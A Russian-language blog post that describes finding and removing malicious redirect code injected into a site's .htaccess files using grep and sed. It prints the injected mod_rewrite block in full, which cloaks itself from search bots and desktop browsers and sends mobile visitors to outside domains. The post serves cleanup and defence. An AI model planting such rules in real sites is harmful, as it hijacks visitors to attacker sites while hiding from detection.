Очистка .htaccess от заразы или grep + sed в умелых руках

Недавно корпорация добра отрапортовала, что на одном из подконтрольных мне сайтов находится вирус. Сам сайт открывался и функционировал. Первое, что пришло в голову — .htaccess. И я не ошибся. Файл начинался с малопонятного кода, было очевидно, что эта зараза гуглу и не понравилась. Приведу часть текста:

RewriteEngine on
 
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el.....
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww) [NC]
RewriteRule ^(.*)$ http://woffello.com [L,R=302]
RewriteEngine on
 
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|
...
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]

После этого следовал вполне рабочий текст, характерный htaccess-файлу. Как показал анализ этот код во всех файлах идентичен. Удобным критерием для поиска было то, что он занимал ровно 48 строк и находился в начале файла. Сперва, что бы найти все зараженные файлы я решил поискать по «уникальному содержимому». Текст «blackberry [NC,OR]» не является распространённым нормальным содержанием .htaccess, по нему и будем искать:

grep -Rl "blackberry \[NC,OR\]" /var/www/sites/ --include=".htaccess" > /root/list_malware

тут мы рекурсивно проверяем все файлы в каталоге /var/www/sites/ на содержание вышеприведённого фрагмента текста и результат направляем в файлик /root/list_malware
По окончанию у нас получился список предположительно зараженных htaccess-ок. Проверить его верность я решил следующим образом: в каждом файле из списка посмотреть 48 строку. Успех так же укажет на правильность алгоритма идентификации зловреда.

Сделать это можно следующим образом:

for i in `cat /root/list_malware`; do cat $i|sed -n '48p;48q' ; done
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
RewriteRule ^(.*)$ http://moblaf.com [L,R=302]
...

Верно, у нас правильный список.

Теперь нужно в каждом из этих файлов удалить первые 48 строк и таким образом мы уберём зловредный код
Для этого выполним:

for i in `cat /root/list_malware`; do sed -i '1,48d' "$i" ; done

После этого открыв рандомно несколько файлов .htaccess зараженного кода обнаружено не было.
Просто и со вкусом, как мне кажется.

Добавить комментарий